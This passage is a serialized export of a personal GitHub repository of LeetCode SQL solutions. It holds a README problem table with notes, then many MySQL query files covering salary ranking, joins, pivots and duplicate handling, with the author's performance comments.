substring(created_at,1,7)=\"2020-02\", UNION, AVG=SUM/COUNT, ORDER BY..DESC, LIMIT 1 |\n| 1142 | [User Activity for the Past 30 Days 2](https://leetcode.com/problems/user-activity-for-the-past-30-days-ii/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/1142_User_Activity_for_the_Past_30_Days_2.py) | Easy | IFNULL, ROUND, DITEDIFF(biggerDate, smallerDate)<30 |\n| 577 | [Employee Bonus](https://leetcode.com/problems/employee-bonus/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/577_employee_bonus.py) | Easy | Do not forget NULL |\n| 626 | [Exchange Seats](https://leetcode.com/problems/exchange-seats/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/626_Exchange_Seats.py) | Medium | IF statement, and MOD(%) |\n| 1312 | [Reported Posts 2](https://leetcode.com/problems/reported-posts-ii/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/1312_Reported_Posts_2.py) | Medium | LEFT JOIN, COUNT right part / COUNT left part, null would be counting as 0 |\n\n\n\n### Optimization Idea:\n1. Only select those columns that needed, when joining two tables, can first select sub-table for necessary columns. Eg. 175\n\n### Question:\n1. How to deal with date, Unix timestamps \n **created_at = \"2020-02-13\"** \n **substring(created_at, 1, 7)=\"2020-02\"** -> to get Februray data, but **substring(created_at,6,7)=\"02\" does not get correct \"02\"**, need more information about this... \n **Reason**: substring(created_at, 6, 2)=\"02\" should be the correct solution, as the 2 refers to the number of chars starting from position 6. BTW, the first char's index starting from 1, not 0.\n \n Reference:\n 1. Leetcode\n 2. SQL, create, read, update, delete:\n https://blog.csdn.net/woaidapaopao/article/details/78030449\n \n"},{"alpha_fraction":0.633952260017395,"alphanum_fraction":0.7188329100608826,"avg_line_length":18.842105865478516,"blob_id":"a62e69ae82f706c86e6b1800526474b42248276e","content_id":"4dea7cd023cc891cbeb7231496c0d31aee82cf8d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":377,"license_type":"no_license","max_line_length":41,"num_lines":19,"path":"/SQL/180_Consecutive_Numbers.py","repo_name":"GuilinXie/LeetcodeSQL","src_encoding":"UTF-8","text":"# Write your MySQL query statement below\n\n# beat 50%\nSELECT DISTINCT l1.num AS ConsecutiveNums\nFROM Logs l1, Logs l2, Logs l3\nWHERE l1.Id = l2.Id - 1\nAND l2.Id = l3.Id - 1\nAND l1.num = l2.num\nAND l2.num = l3.num\n\n# beat 25%\nSELECT DISTINCT l1.Num AS ConsecutiveNums\nFROM Logs l1\nJOIN Logs l2\nON l1.Id=l2.Id-1\nJOIN Logs l3\nON l2.Id=l3.Id-1\nWHERE l1.Num=l2.Num\nAND l2.Num=l3.Num\n"},{"alpha_fraction":0.75,"alphanum_fraction":0.765625,"avg_line_length":35.71428680419922,"blob_id":"0495a2667ad1c7bdcb24ed62b0e3a496a499462e","content_id":"dc42dd095d7efa7ea34aac188bc397de2617a2ec","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":256,"license_type":"no_license","max_line_length":75,"num_lines":7,"path":"/SQL/597_Friend_Requests_1_Overall_Acceptance_Rate.py","repo_name":"GuilinXie/LeetcodeSQL","src_encoding":"UTF-8","text":"SELECT IFNULL(ROUND(r.total_accept / f.total_send, 2), 0.00) AS accept_rate\nFROM\n(SELECT COUNT(DISTINCT sender_id, send_to_id) AS total_send\nFROM friend_request) f,\n\n(SELECT COUNT(DISTINCT requester_id, accepter_id) AS total_accept\nFROM request_accepted) r"},{"alpha_fraction":0.7542372941970825,"alphanum_fraction":0.7740113139152527,"avg_line_length":24.35714340209961,"blob_id":"496abbc499215933f8559e346c484c01718d96f6","content_id":"a87b63fac89d4ece203c2fcf95fff36394ada9ad","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":354,"license_type":"no_license","max_line_length":68,"num_lines":14,"path":"/SQL/1241_Number_of_Comments_per_Post.py","repo_name":"GuilinXie/LeetcodeSQL","src_encoding":"UTF-8","text":"# Write your MySQL query statement below\nSELECT s1.sub_id AS post_id, IFNULL(s2.cnt, 0) AS number_of_comments\nFROM\n(SELECT DISTINCT sub_id\nFROM Submissions\nWHERE parent_id IS NULL\n) s1\nLEFT JOIN\n(SELECT parent_id, COUNT(DISTINCT sub_id) AS cnt\nFROM Submissions\nWHERE parent_id is not NULL\nGROUP BY parent_id) s2\nON s1.sub_id=s2.parent_id\nORDER BY post_id"},{"alpha_fraction":0.7245206832885742,"alphanum_fraction":0.7497477531433105,"avg_line_length":28.147058486938477,"blob_id":"33b12095b656c90380cdb401003d20c805596ae4","content_id":"7191a9bc0344e2ae99865d2cfd8ddf6fe9d868ac","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":991,"license_type":"no_license","max_line_length":128,"num_lines":34,"path":"/SQL/184_Department_Highest_Salary.py","repo_name":"GuilinXie/LeetcodeSQL","src_encoding":"UTF-8","text":"# Write your MySQL query statement below\n\n# Method 0 - beat 50% - window function\nSELECT t.Department, t.Employee, t.Salary\nFROM\n(\nSELECT d.Name AS Department, e.Name AS Employee, e.Salary, RANK() OVER(PARTITION BY e.DepartmentId ORDER BY e.Salary DESC) AS rk\nFROM Employee e\nJOIN Department d\nON e.DepartmentId=d.Id\n) t\nWHERE rk=1\n\n\n# Method 1 - beat 50%, similar to 185, Department top3\nSELECT d.Name AS Department, e1.Name AS Employee, e1.Salary\nFROM Employee e1\nJOIN Department d\nON e1.DepartmentId=d.Id\nWHERE 1=(SELECT COUNT(e2.Salary)\n FROM (SELECT DISTINCT DepartmentId, Salary FROM Employee) e2\n WHERE e1.DepartmentId=e2.DepartmentId AND e1.Salary<=e2.Salary\n )\n\n\n# Method 2 - beat 98% - more direct using max for the highest\nSELECT D.Name AS Department, E.Name AS Employee, E.Salary\nFROM Employee E\nINNER JOIN Department D\nON E.DepartmentId=D.Id\nWHERE (Salary, DepartmentId) IN\n(SELECT MAX(Salary) AS Salary, DepartmentId\nFROM Employee\nGROUP BY DepartmentId)\n"},{"alpha_fraction":0.703213632106781,"alphanum_fraction":0.7599244117736816,"avg_line_length":21.04166603088379,"blob_id":"1b8a073da5ce1d22590d2b32282e7687b789b1c9","content_id":"1f2d75a5f5a4b72e34e37bd6be015247ef249cdd","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":529,"license_type":"no_license","max_line_length":56,"num_lines":24,"path":"/SQL/181_Employees_Earning_More_Than_Their_Managers.py","repo_name":"GuilinXie/LeetcodeSQL","src_encoding":"UTF-8","text":"# Write your MySQL query statement below\n\n# Method 1 - use tmp table, beat 80%\nSELECT e1.Name AS Employee\nFROM Employee e1\nJOIN\n(SELECT Id, Salary\n FROM Employee) e2\nON e1.ManagerId = e2.Id\nWHERE e1.Salary>e2.Salary\n\n\n# Method 2 - Use entire table directly, beat 50%, slower\nSELECT e1.Name AS Employee\nFROM Employee e1, Employee e2\nWHERE e1.ManagerId=e2.Id\nAND e1.Salary>e2.Salary\n\n# Method3 - LEFT JOIN, beat 50%\nSELECT e1.Name AS Employee\nFROM Employee e1\nLEFT JOIN Employee e2\nON e1.ManagerId=e2.Id\nWHERE e1.Salary>e2.Salary\n"},{"alpha_fraction":0.6744604110717773,"alphanum_fraction":0.7248201370239258,"avg_line_length":21.239999771118164,"blob_id":"f71a412026a41153a0bfd447e2c19c86d224c089","content_id":"974191d727d7d7414c3c89de693e10260937dc57","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":556,"license_type":"no_license","max_line_length":115,"num_lines":25,"path":"/SQL/262_Trips_and_Users.py","repo_name":"GuilinXie/LeetcodeSQL","src_encoding":"UTF-8","text":"# Write your MySQL query statement below\n\nSELECT t.Request_at AS \"Day\", ROUND(SUM(cancel) / SUM(total), 2) AS \"Cancellation Rate\"\n\nFROM\n(SELECT t1.Request_at,\n CASE WHEN t1.Status=\"cancelled_by_driver\" THEN 1 WHEN t1.status=\"cancelled_by_client\" THEN 1 ELSE 0 END AS cancel,\n 1 AS total\n\n FROM Trips t1\n\n WHERE t1.Client_Id IN\n (SELECT DISTINCT Users_Id\n FROM Users u\n WHERE u.Banned=\"No\")\n\nAND\nt1.Driver_Id IN\n(SELECT DISTINCT Users_Id\nFROM Users u\nWHERE u.Banned = \"No\")\n\nAND t1.Request_at BETWEEN '2013-10-01' AND '2013-10-03'\n) t\nGROUP BY t.Request_at\n"},{"alpha_fraction":0.6663244366645813,"alphanum_fraction":0.6909651160240173,"avg_line_length":23.350000381469727,"blob_id":"166f1385adac6466c8ccfcd729044727078192a3","content_id":"90332764aac4d6a5453f9060387000c56c706574","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":974,"license_type":"no_license","max_line_length":107,"num_lines":40,"path":"/SQL/177_Nth_Highest_Salary.py","repo_name":"GuilinXie/LeetcodeSQL","src_encoding":"UTF-8","text":"# Method 1 - beat 45%\nCREATE FUNCTION getNthHighestSalary(N INT) RETURNS INT\nBEGIN\nSET N=N-1;\n RETURN (\n # Write your MySQL query statement below.\n SELECT DISTINCT(Salary)\n FROM Employee\n UNION\n SELECT NULL\n# GROUP BY can be faster than DISTINCT\n# GROUP BY Salary\n ORDER BY Salary DESC LIMIT N,1\n);\nEND\n\n# Method 2 - beat 20% - DENSE_RANK(), suitable for Nth, need to clarify if it is a DENSE_RANK() or a RANK()\n# DENSE_RANK(), 1,1,2,3,3,4...\nCREATE FUNCTION getNthHighestSalary(N INT) RETURNS INT\nBEGIN\n RETURN (\n SELECT MAX(Salary)\n FROM\n (SELECT Salary, DENSE_RANK() OVER (ORDER BY Salary DESC) AS rk\n FROM Employee\n ) e\n WHERE rk=N\n );\nEND\n\n# Method 3 - beat 10%\nCREATE FUNCTION getNthHighestSalary(N INT) RETURNS INT\nBEGIN\n RETURN (\n # Write your MySQL query statement below.\nselect DISTINCT e1.salary\nFROM Employee e1\nWHERE N-1 = (SELECT COUNT(DISTINCT e2.Salary) FROM Employee e2 WHERE e1.Salary < e2.Salary)\n);\nEND\n"},{"alpha_fraction":0.6959999799728394,"alphanum_fraction":0.7440000176429749,"avg_line_length":19.83333396911621,"blob_id":"23cb447a3a998b2b4dc7b2e3e4436cd650d4037b","content_id":"c17eb3b10d47de40412def0d269f4ece92ef6782","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":125,"license_type":"no_license","max_line_length":37,"num_lines":6,"path":"/SQL/577_employee_bonus.py","repo_name":"GuilinXie/LeetcodeSQL","src_encoding":"UTF-8","text":"# beat 28%\nSELECT e.name, b.bonus\nFROM Employee e\nLEFT JOIN Bonus b\nON e.empId=b.empId\nWHERE b.bonus<1000 or b.bonus is NULL\n"},{"alpha_fraction":0.7003366947174072,"alphanum_fraction":0.752525269985199,"avg_line_length":23.79166603088379,"blob_id":"2b32b6cd3e4445377be0058d8b78aadf64ac1807","content_id":"a7dcbff6eddf8767745b8fd9751bf19f9fb6c668","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":594,"license_type":"no_license","max_line_length":56,"num_lines":24,"path":"/SQL/1270_All_People_Report_to_the_Given_Manager.py","repo_name":"GuilinXie/LeetcodeSQL","src_encoding":"UTF-8","text":"# Solution 1 - beat 65%\nselect\ne1.employee_id\nfrom employees e1\njoin employees e2 on e1.manager_id = e2.employee_id\njoin employees e3 on e2.manager_id = e3.employee_id\nwhere e3.manager_id = 1 and e1.employee_id != 1\n\n\n# Solution 2 - beat 15%\nselect\nt.employee_id\nfrom (\nselect\ne1.employee_id,\ne2.manager_id as direct_manager,\ne3.manager_id as indirect_manager\nfrom employees e1\nleft join employees e2 on e1.manager_id = e2.employee_id\nleft join employees e3 on e2.manager_id = e3.employee_id\n#order by e1.employee_id\n)t\nwhere t.indirect_manager = 1 and t.employee_id != 1\nORDER BY t.employee_id"},{"alpha_fraction":0.5773993730545044,"alphanum_fraction":0.6068111658096313,"avg_line_length":42.13333511352539,"blob_id":"1c0942bc004157f1af9986a4d2bc2eeb5c8ab7ea","content_id":"4f034b033177005cbfac9d8bdf86f66e408ba42d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":646,"license_type":"no_license","max_line_length":72,"num_lines":15,"path":"/SQL/618_Students_Report_By_Geography.py","repo_name":"GuilinXie/LeetcodeSQL","src_encoding":"UTF-8","text":"# beat 50%-80%\nSELECT MAX(America) AS America, MAX(Asia) as Asia, MAX(Europe) AS Europe\n#SELECT America, Asia, Europe\nFROM (\n SELECT\n CASE WHEN continent = 'America' THEN @r1 := @r1 + 1\n WHEN continent = 'Asia' THEN @r2 := @r2 + 1\n WHEN continent = 'Europe' THEN @r3 := @r3 + 1 END id,\n CASE WHEN continent = 'America' THEN name ELSE NULL END America,\n CASE WHEN continent = 'Asia' THEN name ELSE NULL END Asia,\n CASE WHEN continent = 'Europe' THEN name ELSE NULL END Europe\n FROM student, (SELECT @r1 := 0, @r2 := 0, @r3 := 0) AS ids\n ORDER BY name\n) AS tempTable\nGROUP BY id;"},{"alpha_fraction":0.7352941036224365,"alphanum_fraction":0.7529411911964417,"avg_line_length":23.35714340209961,"blob_id":"e5a26b0ec21fc92d2cec68b2ccb5f8214414f17c","content_id":"4c0243f69ce6e7b5d11ced0e0ec72ef3af1d9026","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":340,"license_type":"no_license","max_line_length":58,"num_lines":14,"path":"/SQL/175_Combine_Two_Tables.py","repo_name":"GuilinXie/LeetcodeSQL","src_encoding":"UTF-8","text":"# Method 1 - beat 90% - select sub-table first before join\nSELECT p.FirstName, p.LastName,t.City, t.State\nFROM Person p\nLEFT JOIN\n(SELECT DISTINCT PersonId, City, State\nFROM Address) t\nON t.PersonId=p.PersonId\n\n\n# Method 2 - beat 50%\nSELECT p.FirstName, p.LastName, a.City, a.State\nFROM Person p\nLEFT JOIN Address a\nON p.PersonId=a.PersonId"},{"alpha_fraction":0.688524603843689,"alphanum_fraction":0.7081966996192932,"avg_line_length":22.461538314819336,"blob_id":"d7027138421ab2e2aedfa4b848fddfd9a4143f51","content_id":"bb111dd304c5acd859a5dcf70d96e4395f369536","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":305,"license_type":"no_license","max_line_length":97,"num_lines":13,"path":"/SQL/1312_Reported_Posts_2.py","repo_name":"GuilinXie/LeetcodeSQL","src_encoding":"UTF-8","text":"# beat 50%\nSELECT ROUND(AVG(cnt), 2) AS average_daily_percent \nFROM\n(\nSELECT (COUNT(DISTINCT r.post_id)/ COUNT(DISTINCT a.post_id))*100 AS cnt # This line is so neat\nFROM Actions a\n\nLEFT JOIN Removals r\n\nON a.post_id = r.post_id\n\nWHERE a.extra='spam' AND a.action = 'report'\nGROUP BY a.action_date )tmp\n"},{"alpha_fraction":0.695035457611084,"alphanum_fraction":0.7151300311088562,"avg_line_length":28.172412872314453,"blob_id":"9a6c90fff55bcbca162f235f0877d7224673a9ab","content_id":"921ebbcd5231451a9b2b419383bb7b10a63f5512","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":846,"license_type":"no_license","max_line_length":82,"num_lines":29,"path":"/SQL/176_Sencond_Highest_Salary.py","repo_name":"GuilinXie/LeetcodeSQL","src_encoding":"UTF-8","text":"# Method 1 - beat 80%\n# UNION NULL directly to get NULL\nSELECT DISTINCT(Salary) AS SecondHighestSalary\nFROM Employee\nUNION\nSELECT NULL\nORDER BY SecondHighestSalary DESC\nLIMIT 1,1\n\n# Method 2 - RANK() window function - beat 10%, slower but suitable for Nth salary\n# Use MAX to return null if not exits.\nSELECT MAX(Salary) AS SecondHighestSalary\nFROM (\n SELECT Salary, RANK() OVER (ORDER BY Salary DESC) RN\n FROM Employee\n) A\nWHERE RN = 2\n\n# Method 3 - IFNULL\nSELECT IFNULL((SELECT DISTINCT Salary\n FROM Employee\n ORDER BY Salary DESC\n LIMIT 1,1) NULL) AS SecondHighestSalary\n\n# Method 4 - beat 50%, sometimes beat 90%..., but not suitable for Nth salary\n# max() will return NULL, if not exist\nSELECT max(Salary) as SecondHighestSalary\nFROM Employee\nWHERE Salary < (SELECT max(Salary) FROM Employee)\n"},{"alpha_fraction":0.7442922592163086,"alphanum_fraction":0.7716894745826721,"avg_line_length":22.105262756347656,"blob_id":"8ad24179874d6a87c44a6c72bbf67e2216c3a687","content_id":"029bf1697256c4322c22f1de476b92ef4a0fc58b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":438,"license_type":"no_license","max_line_length":55,"num_lines":19,"path":"/SQL/183_Customers_Who_Never_Order.py","repo_name":"GuilinXie/LeetcodeSQL","src_encoding":"UTF-8","text":"# Write your MySQL query statement below\n\n# Method 1 - beat 98%\nSELECT Name AS Customers\nFROM Customers\nWHERE Id not in\n(SELECT DISTINCT CustomerId\nFROM Orders)\n\n# Method 2 - beat 36%\n# Not use IS NULL, IS NOT NULL in WHERE clause,\n# which is slow, as it can not use index when searching\nSELECT c1.Name AS Customers\nFROM Customers c1\nLEFT JOIN\n(SELECT DISTINCT CustomerId\nFROM Orders) c2\nON c1.Id=c2.CustomerId\nWHERE c2.CustomerId IS NULL"},{"alpha_fraction":0.7200000286102295,"alphanum_fraction":0.7753846049308777,"avg_line_length":24,"blob_id":"ac9f3ba9f648bff411b326acd26e03619fa36a17","content_id":"6ed4f49ed0046dc841fa119c68750837bb7d3bc0","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":325,"license_type":"no_license","max_line_length":52,"num_lines":13,"path":"/SQL/197_Rising_Temperature.py","repo_name":"GuilinXie/LeetcodeSQL","src_encoding":"UTF-8","text":"# Write your MySQL query statement below\n\n#Solution 1:\nSELECT w2.Id\nFROM Weather w1, Weather w2\nWHERE w1.Temperature < w2.Temperature\nAND TO_DAYS(w2.recordDate)-TO_DAYS(w1.recordDate)=1 \n\n# Solution 2:\nSELECT w2.Id \nFROM Weather w1, Weather w2\nWHERE subdate(w1.recordDate, 1)=w2.recordDate \nAND w1.Temperature>w2.Temperature\n"}],"string":"[\n {\n \"alpha_fraction\": 0.7045044898986816,\n \"alphanum_fraction\": 0.7297297120094299,\n \"avg_line_length\": 20.384614944458008,\n \"blob_id\": \"f2af97b5c601b374cf4cda1d877afa7c37fc27a5\",\n \"content_id\": \"d338e3149af29a43da57425ca82c57cbfcb024c0\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 555,\n \"license_type\": \"no_license\",\n \"max_line_length\": 51,\n \"num_lines\": 26,\n \"path\": \"/SQL/1341_Movie_Rating.py\",\n \"repo_name\": \"GuilinXie/LeetcodeSQL\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Write your MySQL query statement below\\n\\nSELECT t1.name AS results\\nFROM\\n(SELECT u.name AS name, COUNT(m.movie_id) AS cnt\\nFROM Movie_Rating m\\nJOIN Users u\\nON u.user_id = m.user_id\\nGROUP BY m.user_id\\nORDER BY cnt DESC, u.name\\nLIMIT 1) t1\\n\\nUNION\\nSELECT t2.title AS results\\nFROM\\n(SELECT m.title AS title, AVG(mr.rating) as grade\\n FROM Movie_Rating mr\\n JOIN Movies m\\n ON m.movie_id=mr.movie_id\\n WHERE substring(mr.created_at,1,7)=\\\"2020-02\\\"\\n GROUP BY mr.movie_id\\n ORDER BY grade DESC, m.title\\n LIMIT 1\\n ) t2\\n\\n#AVG(mr.rating) = SUM(mr.rating) / COUNT(mr.rating)\"\n },\n {\n \"alpha_fraction\": 0.70652174949646,\n \"alphanum_fraction\": 0.7572463750839233,\n \"avg_line_length\": 33.625,\n \"blob_id\": \"87444ec5ea5a9ba74be91842f5c7e780df890ab3\",\n \"content_id\": \"2b7049a14883ad601247da3ba5bfbd68ef1c2182\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 276,\n \"license_type\": \"no_license\",\n \"max_line_length\": 90,\n \"num_lines\": 8,\n \"path\": \"/SQL/1142_User_Activity_for_the_Past_30_Days_2.py\",\n \"repo_name\": \"GuilinXie/LeetcodeSQL\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Write your MySQL query statement below\\n\\nSELECT IFNULL(ROUND(SUM(sessions) / COUNT(user_id), 2), 0.00) AS average_sessions_per_user\\nFROM\\n(SELECT user_id, COUNT(DISTINCT session_id) AS sessions\\nFROM Activity\\nWHERE DATEDIFF(\\\"2019-07-27\\\", activity_date) < 30\\nGROUP BY user_id) t\"\n },\n {\n \"alpha_fraction\": 0.7559704780578613,\n \"alphanum_fraction\": 0.7568389177322388,\n \"avg_line_length\": 42.45283126831055,\n \"blob_id\": \"7e54d9231a05bb230ef2a3b82d63a78254abc627\",\n \"content_id\": \"5e0bf5db7bd54ed43ea02ed43799fbb91968a53f\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2303,\n \"license_type\": \"no_license\",\n \"max_line_length\": 69,\n \"num_lines\": 53,\n \"path\": \"/SQL/1179_Reformat_Department_Table.py\",\n \"repo_name\": \"GuilinXie/LeetcodeSQL\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Write your MySQL query statement below\\n\\n# How to use pivot table directly in mysql?\\n\\n# Solution 1 - only beat 5%\\n\\nSELECT t.id,\\nSUM(CASE WHEN month=\\\"Jan\\\" THEN revenue ELSE NULL END) AS Jan_Revenue,\\nSUM(CASE WHEN month=\\\"Feb\\\" THEN revenue ELSE NULL END) AS Feb_Revenue,\\nSUM(CASE WHEN month=\\\"Mar\\\" THEN revenue ELSE NULL END) AS Mar_Revenue,\\nSUM(CASE WHEN month=\\\"Apr\\\" THEN revenue ELSE NULL END) AS Apr_Revenue,\\nSUM(CASE WHEN month=\\\"May\\\" THEN revenue ELSE NULL END) AS May_Revenue,\\nSUM(CASE WHEN month=\\\"Jun\\\" THEN revenue ELSE NULL END) AS Jun_Revenue,\\nSUM(CASE WHEN month=\\\"Jul\\\" THEN revenue ELSE NULL END) AS Jul_Revenue,\\nSUM(CASE WHEN month=\\\"Aug\\\" THEN revenue ELSE NULL END) AS Aug_Revenue,\\nSUM(CASE WHEN month=\\\"Sep\\\" THEN revenue ELSE NULL END) AS Sep_Revenue,\\nSUM(CASE WHEN month=\\\"Oct\\\" THEN revenue ELSE NULL END) AS Oct_Revenue,\\nSUM(CASE WHEN month=\\\"Nov\\\" THEN revenue ELSE NULL END) AS Nov_Revenue,\\nSUM(CASE WHEN month=\\\"Dec\\\" THEN revenue ELSE NULL END) AS Dec_Revenue\\nFROM Department t\\nGROUP BY t.id\\n\\n\\n# Solution, similar to the previous one\\nSELECT t.id,\\nSUM(t.Jan_Revenue) AS Jan_Revenue,\\nSUM(t.Feb_Revenue) AS Feb_Revenue,\\nSUM(t.Mar_Revenue) AS Mar_Revenue,\\nSUM(t.Apr_Revenue) AS Apr_Revenue,\\nSUM(t.May_Revenue) AS May_Revenue,\\nSUM(t.Jun_Revenue) AS Jun_Revenue,\\nSUM(t.Jul_Revenue) AS Jul_Revenue,\\nSUM(t.Aug_Revenue) AS Aug_Revenue,\\nSUM(t.Sep_Revenue) AS Sep_Revenue,\\nSUM(t.Oct_Revenue) AS Oct_Revenue,\\nSUM(t.Nov_Revenue) AS Nov_Revenue,\\nSUM(t.Dec_Revenue) AS Dec_Revenue\\nFROM\\n(SELECT id,\\nCASE WHEN month=\\\"Jan\\\" THEN revenue ELSE NULL END AS Jan_Revenue,\\nCASE WHEN month=\\\"Feb\\\" THEN revenue ELSE NULL END AS Feb_Revenue,\\nCASE WHEN month=\\\"Mar\\\" THEN revenue ELSE NULL END AS Mar_Revenue,\\nCASE WHEN month=\\\"Apr\\\" THEN revenue ELSE NULL END AS Apr_Revenue,\\nCASE WHEN month=\\\"May\\\" THEN revenue ELSE NULL END AS May_Revenue,\\nCASE WHEN month=\\\"Jun\\\" THEN revenue ELSE NULL END AS Jun_Revenue,\\nCASE WHEN month=\\\"Jul\\\" THEN revenue ELSE NULL END AS Jul_Revenue,\\nCASE WHEN month=\\\"Aug\\\" THEN revenue ELSE NULL END AS Aug_Revenue,\\nCASE WHEN month=\\\"Sep\\\" THEN revenue ELSE NULL END AS Sep_Revenue,\\nCASE WHEN month=\\\"Oct\\\" THEN revenue ELSE NULL END AS Oct_Revenue,\\nCASE WHEN month=\\\"Nov\\\" THEN revenue ELSE NULL END AS Nov_Revenue,\\nCASE WHEN month=\\\"Dec\\\" THEN revenue ELSE NULL END AS Dec_Revenue\\nFROM Department) t\\nGROUP BY t.id\\n\"\n },\n {\n \"alpha_fraction\": 0.49707603454589844,\n \"alphanum_fraction\": 0.5555555820465088,\n \"avg_line_length\": 27.5,\n \"blob_id\": \"aea7340b1ef60773d65ad05cb0212594490ca7db\",\n \"content_id\": \"9f44b4e30efe1b1ab6d05249aae632df025241f8\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 171,\n \"license_type\": \"no_license\",\n \"max_line_length\": 46,\n \"num_lines\": 6,\n \"path\": \"/SQL/626_Exchange_Seats.py\",\n \"repo_name\": \"GuilinXie/LeetcodeSQL\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Solution 1 - beat 50%\\nSELECT IF(id<(SELECT COUNT(*) FROM seat), \\n IF(id%2=0, id-1, id+1), \\n IF(id%2=0, id-1, id)) AS id, student\\nFROM seat\\nORDER BY id\\n\"\n },\n {\n \"alpha_fraction\": 0.7586206793785095,\n \"alphanum_fraction\": 0.7758620977401733,\n \"avg_line_length\": 13.5,\n \"blob_id\": \"ede1bb739614035bae544cac0359b6b16f158968\",\n \"content_id\": \"32f1480fbb24f6c19e668d1c35c2a098d7a18de3\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 58,\n \"license_type\": \"no_license\",\n \"max_line_length\": 17,\n \"num_lines\": 4,\n \"path\": \"/SQL/182_Duplicate_Emails.py\",\n \"repo_name\": \"GuilinXie/LeetcodeSQL\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"SELECT Email\\nFROM Person\\nGROUP BY Email\\nHAVING COUNT(*)>1\\n\"\n },\n {\n \"alpha_fraction\": 0.47880297899246216,\n \"alphanum_fraction\": 0.5012468695640564,\n \"avg_line_length\": 22.58823585510254,\n \"blob_id\": \"2bb8dbee9a7e02ba527449b1ebe80b8908b92b90\",\n \"content_id\": \"d7b30c97cb9103223870cae2dc91fc2bcdb55961\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 401,\n \"license_type\": \"no_license\",\n \"max_line_length\": 47,\n \"num_lines\": 17,\n \"path\": \"/SQL/196_Delete_Duplicate_Emails.py\",\n \"repo_name\": \"GuilinXie/LeetcodeSQL\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Write your MySQL query statement below\\n# Solution 1\\nDELETE p1\\nFROM Person p1, Person p2\\nWHERE p1.Email = p2.Email\\nAND p1.Id > p2.Id\\n\\n#Solution 2:\\ndelete from Person\\nwhere id not in (\\n select id \\n from\\n (select min(id) as Id,Email\\n from Person\\n group by Email\\n order by Id) i\\n )\\n\"\n },\n {\n \"alpha_fraction\": 0.6951871514320374,\n \"alphanum_fraction\": 0.7326202988624573,\n \"avg_line_length\": 30.16666603088379,\n \"blob_id\": \"77d1a09ff3f0ff951e08ec5b2831a02fe9eb22e6\",\n \"content_id\": \"eb4b7723b06bcd9fa16e49a4b3480085c6ac0b71\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 374,\n \"license_type\": \"no_license\",\n \"max_line_length\": 63,\n \"num_lines\": 12,\n \"path\": \"/SQL/178_Rank_Scores.py\",\n \"repo_name\": \"GuilinXie/LeetcodeSQL\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Write your MySQL query statement below\\n\\n# Method 1 - beat 10%, sometimes 70% - DENSE_RANK()\\nSELECT Score, DENSE_RANK() OVER (ORDER BY Score DESC) AS \\\"Rank\\\"\\nFROM Scores\\n\\n# Method 2 - too complicate to remember....\\nSELECT s1.Score, COUNT(s2.Score) AS Rank\\nFROM Scores s1, (SELECT DISTINCT Score FROM Scores) s2\\nWHERE s1.Score<=s2.Score\\nGROUP BY s1.Id\\nORDER BY s1.Score DESC\\n\"\n },\n {\n \"alpha_fraction\": 0.7153094410896301,\n \"alphanum_fraction\": 0.7381107211112976,\n \"avg_line_length\": 35.5476188659668,\n \"blob_id\": \"843c24c558b83629bae5a8b5685a644f8236887a\",\n \"content_id\": \"1536614db704400ba1dc4999023c28e9ee261db0\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1535,\n \"license_type\": \"no_license\",\n \"max_line_length\": 179,\n \"num_lines\": 42,\n \"path\": \"/SQL/185_Department_Top_Three_Salaries.py\",\n \"repo_name\": \"GuilinXie/LeetcodeSQL\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Write your MySQL query statement below\\n\\n# Solution 0 - window function - easier to understand\\n# beat 61%\\nSELECT t.Department, t.Employee, t.Salary\\nFROM \\n(SELECT d.Name AS Department, e.Name AS Employee, e.Salary AS Salary, DENSE_RANK() OVER(PARTITION BY e.DepartmentId ORDER BY e.Salary DESC) AS rk\\nFROM Employee e\\nINNER JOIN Department d # inner join means if the departmentId is not find, then drop this rows, if use LEFT JOIN, then will keep 